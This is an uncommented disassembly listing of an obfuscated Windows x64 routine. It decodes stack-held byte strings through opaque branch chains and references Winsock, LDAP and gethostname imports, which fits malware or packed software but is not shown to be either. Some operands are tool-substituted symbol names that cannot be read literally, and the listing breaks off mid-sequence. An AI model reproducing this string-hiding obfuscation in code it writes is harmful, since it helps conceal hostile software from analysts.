jmp 0x14007d1b2
movabs rdx, 0x678314e0c9c9b7f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14007d1b2
movabs rdx, 0xa3c2b5cc62f425e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007de15
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14007d923
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
jmp 0x14007d71f
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007d966
movabs rdx, 0xa6d127d44baba4fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xc80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d1b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007d998
movabs rdx, 0x1beccde45a157b42
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007de93
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007d9ca
movabs rdx, 0x7933b7685daff0d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007ddc3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007d71f
movabs rdx, 0xd67aa0ec614a6666
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14007d1b2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007da33
movabs rcx, 0x7a39bbbe71817777
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
jmp 0x14007de15
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007da66
movabs rcx, 0x34c78ec678b6629b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
dec rbx
inc rbx
jmp 0x14007d1b2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007da97
movabs rdx, 0x920e784a7c50d82d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3b
add r10b, dl
jmp 0x14007ddc3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007dad5
movabs rcx, 0x4c9c4b528385c351
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x37
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d1b2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007d6bd
movabs rcx, 0xa9e334d6872038e3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x35
jmp 0x14007dcf5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007db49
movabs rdx, 0x4da24fa8975749f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d1b2
inc rax
cmp r8, rax
jne 0x14007db7a
movabs rdx, 0xaae9392c9af1bf86
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007dd25
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007dbac
movabs rdx, 0x2004df3ca95b95ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007ddc3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007dbe4
movabs rdx, 0x7d4bc8c0acf60b60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14007d1b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007dc1f
movabs rdx, 0xda92b244b09080f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007d1b2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007d66a
movabs rdx, 0x37d99bc8b42af684
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14007de12
movabs rdx, 0xf2676ed0bb5fe1a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xc80]
add r10b, dl
add r10b, r11b
jmp 0x14007ddc3
movabs rdx, 0x4fae5854befa573a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xc80]
add r10b, dl
add r10b, r11b
jmp 0x14007dcf5
movabs rdx, 0xbd9fe00a42a97f0d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5b
add r10b, dl
jmp 0x14007dd25
movabs rcx, 0x6058f6863f0f097b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
movabs rcx, 0x7e51cd16c0c79203
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x15
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xc80], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xacf541d8c294cccc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xc80], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x3120d023b7493e9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x488439fa343fa8c5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
movabs rdx, 0x210ae392bd2d1c71
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x17
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xc80], cl
jmp 0x14007de93
movabs rdx, 0x30af7d6e2970480f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x69
add r10b, dl
movabs rcx, 0xc3c3fa0eb992a6df
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x19
add cl, r11b
mov byte [rbp + rbx + 0xc80], cl
inc r9
dec rbx
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x18dac0e21ea0e759
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
inc r9
dec rbx
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x106045613d186a3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x8bea5e460567b05b
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x7d
movzx eax, byte [rbp + rbx + 0xc80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x3aeba8caef9f8a6d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 5
jmp 0x14007d1b0
movabs rcx, 0xdda4bf46ec0514db
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 3
jmp 0x14007d1a0
lea r14, [rbp + 0x1638b8c]
jmp 0x14007df42
lea r14, [rbp + 0x70c655]
jmp 0x14007df42
lea r14, [rbp + 0xc80]
lea rdx, [0x14022a080]
lea rcx, [rbp + 0x5a8]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x48]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a4062
mov byte [rbp + 0xca8], 0x53
mov byte [rbp + 0xca9], WSASetLastError
mov byte [rbp + 0xcaa], WSASetLastError
mov byte [rbp + 0xcab], WSASetLastError
mov byte [rbp + 0xcac], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xcad], WSASetLastError
mov byte [rbp + 0xcae], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xcaf], WSAGetLastError
mov byte [rbp + 0xcb0], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xcb1], 9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb2], xmm0
mov qword [rbp + 0xcc2], rax
mov byte [rbp + 0xcca], al
movabs r15, 0x204559a6ee0b8a80
movabs r13, 0xc969822c5864c580
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x630f7e2c853d8080
cmp rdi, 0x23
jae 0x14007ebcd
movzx ebx, byte [rbp + rdi + 0xca8]
mov r10, rbx
cmp r8, rdi
ja 0x14007ebc4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007e05c
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x80
jmp 0x14007e090
je 0x14007eb3f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007eaa7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ea7b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007ea29
nop dword [rax]
cmp r9, rdi
ja 0x14007ebbb
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14007e0ae
lea rdx, [rdi + r15]
jmp 0x14007e2b9
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ea1d
inc rax
cmp r8, rax
je 0x14007ea11
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007e9e8
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007e9b5
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007e99a
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007e671
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007e651
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007e629
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007e604
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007e5e4
lea rcx, [r9 + 0x42]
cmp r8, rcx
je 0x14007e5b2
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007e583
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007e563
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007e540
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007e510
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007e100
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x14007eb98
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14007eb75
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x14007e2fa
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x14007e2d3
lea rcx, [r9 + 0x64]
cmp r8, rcx
jb 0x14007e2b5
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007e501
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14007e4f2
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007e4a6
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007e478
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007e100
mov r8, rcx
lea r9, [rcx + 0x41]
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x14007e448
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14007e439
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14007e419
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x14007e3ea
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x14007e3b8
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007e398
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007e373
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007e34b
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007e32b
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007e100
mov r8, rcx
lea r9, [rcx + 0x5a]
jmp 0x14007e100
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x14007e0f0
movabs rdx, 0x34a85d34de9c480
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x14007e090
movabs rdx, 0x3d2b897a436ec380
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
movabs rcx, 0x630f7e2c853d8080
jmp 0x14007e02e
movabs rdx, 0x22acd37705c5400
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007ea48
movabs rcx, 0x3c0bd0de65e15300
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
inc r9
dec rdi
inc rdi
jmp 0x14007e012
movabs rcx, 0x75ecd4855b665200
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x14007e012
movabs rdx, 0xafcdd82c50eb5100
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007e932
movabs rcx, 0xe9aedbd346705000
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e012
movabs rcx, 0x238fdf7a3bf54f00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e012
movabs rdx, 0x5d70e321317a4e00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007eaca
movabs rdx, 0x9751e6c826ff4d00
jmp 0x14007e54a
movabs rcx, 0xd132ea6f1c844c00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e012
movabs rcx, 0xe1e573908250c980
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
mov byte [rbp + rdi + 0xca8], r11b
inc rdi
jmp 0x14007e012
movabs rdx, 0x1bc6773777d5c880
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
cmp r9, 1
jb 0x14007e496
movabs rdx, 0x782c45bd16813300
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14007ea4b
movabs rdx, 0x55a77ade6d5ac780
jmp 0x14007e6c5
movabs rdx, 0x8f887e8562dfc680
jmp 0x14007e688
movabs rcx, 0xc1a019e994453f00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e012
movabs rdx, 0xfb811d9089ca3e00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
jmp 0x14007eafe
movabs rdx, 0x356221377f4f3d00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007eaca
movabs rcx, 0x6f4324de74d43c00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e012
movabs rcx, 0xa92428856a593b00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e012
movabs rdx, 0xe3052c2c5fde3a00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007e932
movabs rcx, 0x1ce62fd355633900
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec rdi
inc rdi
jmp 0x14007e012
movabs rcx, 0x56c7337a4ae83800
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
inc r9
dec rdi
inc rdi
jmp 0x14007e012
movabs rdx, 0x90a83721406d3700
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007ea48
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007e717
movabs rdx, 0x630f7e2c853d8080
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x14007e972
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14007e7d3
movabs rdx, 0x9ab1109bbfa79e80
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
cmp r8, 0x80
jae 0x14007e90f
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14007e85a
movabs rdx, 0xbaf66a42adb32900
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007e4c5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007e750
movabs rcx, 0x408ab34ddc171500
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e012
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007e778
movabs rcx, 0xccc8abfff10d1700
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14007eacd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007e7a6
movabs rcx, 0xe5449d641af91b00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x14007e012
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007e6a0
movabs rdx, 0x718296162fef1d00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007ea48
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007e7eb
movabs rdx, 0x60d00cf4ca229f80
jmp 0x14007ea33
inc rax
cmp r8, rax
jne 0x14007e802
movabs rcx, 0x26ef094dd49da080
jmp 0x14007ea85
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007e81a
movabs rcx, 0xed0e05a6df18a180
jmp 0x14007e9f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e832
movabs rcx, 0x3f6afab1fe89a480
jmp 0x14007e9bf
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007e6dd
movabs rdx, 0x589f70b0904a580
add rdx, rdi
movzx eax, bl
and al, dl
movzx r11d, bl
jmp 0x14007eac1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007e893
movabs rcx, 0x8115669bb82e2a00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e012
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e8bc
movabs rdx, 0xd535f4dcd242c00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007eaca
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007e8e2
movabs rdx, 0x5fb05458ec952f00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007e932
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007e4c8
movabs rdx, 0xb20d49640c063200
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14007ea48
movabs rdx, 0x3e4b421620fc3400
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xca8]
sub r11b, al
add r11b, bl
add r11b, dl
movabs rcx, 0xa15ac042a639b480
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x80
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0xca8], bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e012
movabs rdx, 0x46a3e6f2b773500
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xca8]
jmp 0x14007eaca
movabs rdx, 0x8b1e401637689180
add rdx, rdi
movzx eax, bl
and al, dl
movzx r11d, bl
jmp 0x14007eac1
movabs rcx, 0xc4ff43bd2ced9080
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007e012
movabs rcx, 0x72a24eb20d7c8d80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x14007e012
movabs rcx, 0xac83525903018c80
jmp 0x14007ea85
movabs rdx, 0xe66455fff8868b80
jmp 0x14007ea33
movabs rdx, 0x5a265d4de3908980
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
movabs rcx, 0xdb3bc3e99bbeb380
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x80
add bl, cl
mov byte [rbp + rdi + 0xca8], bl
inc r9
dec rdi
inc rdi
jmp 0x14007e012
movabs rcx, 0x940760f4d9158880
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x14007e012
mov rbx, r10
movabs rdx, 0xb56c7337a4ae8380
add rdx, rdi
movzx eax, dl
and al, r10b
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x80
add r11b, dl
movabs rdx, 0x6779bc9bb0b4b580
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xca8], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xca893ac835f23600
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, cl
mov byte [rbp + rdi + 0xca8], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e012
movabs rcx, 0x292e7a858fb88180
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007e012
movabs rcx, 0x770c8d2138f3c280
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x14007e00e
movabs rcx, 0xb0ed90c82e78c180
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x14007dffe
lea rcx, [rbp + 0x15262a8]
jmp 0x14007ebd4
lea rcx, [rbp + 0x8fe328]
jmp 0x14007ebd4
lea rcx, [rbp + 0xca8]
mov dword [rbp + 0xfb0], 0x64
mov dword [rbp + 0xfb8], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfb8]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xcd0], 0xe1
mov byte [rbp + 0xcd1], 0xa7
mov byte [rbp + 0xcd2], 0xad
mov byte [rbp + 0xcd3], 0x9d
mov byte [rbp + 0xcd4], 0xdd
mov byte [rbp + 0xcd5], 0xfd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcd6], xmm0
mov qword [rbp + 0xce6], rax
mov dword [rbp + 0xcee], eax
mov byte [rbp + 0xcf2], al
movabs rdi, 0xd6ad415362f342cb
movabs rsi, 0xbdb7bc95a7565895
movabs r15, 0x8420a19641aa0f5f
movabs r14, 0xb5767969240239d7
movabs r13, 0xad35363ca0ae1b19
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007fad2
movzx r11d, byte [rbp + rbx + 0xcd0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007fac9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007ecfc
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x67
jmp 0x14007ed43
je 0x14007fa44
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007fa0d
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007f9c2
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007f998
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007f96b
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007f91a
cmp r9, rbx
ja 0x14007fac0
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14007ed70
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
jmp 0x14007edb1
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007f8f9
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007f8cf
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007f8a7
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007f873
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007f83e
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007f41e
nop
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007f3f5
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007f3c3
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007f398
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007f374
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007f34b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007f312
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007f2e9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007f2c5
lea rax, [r9 + 2]
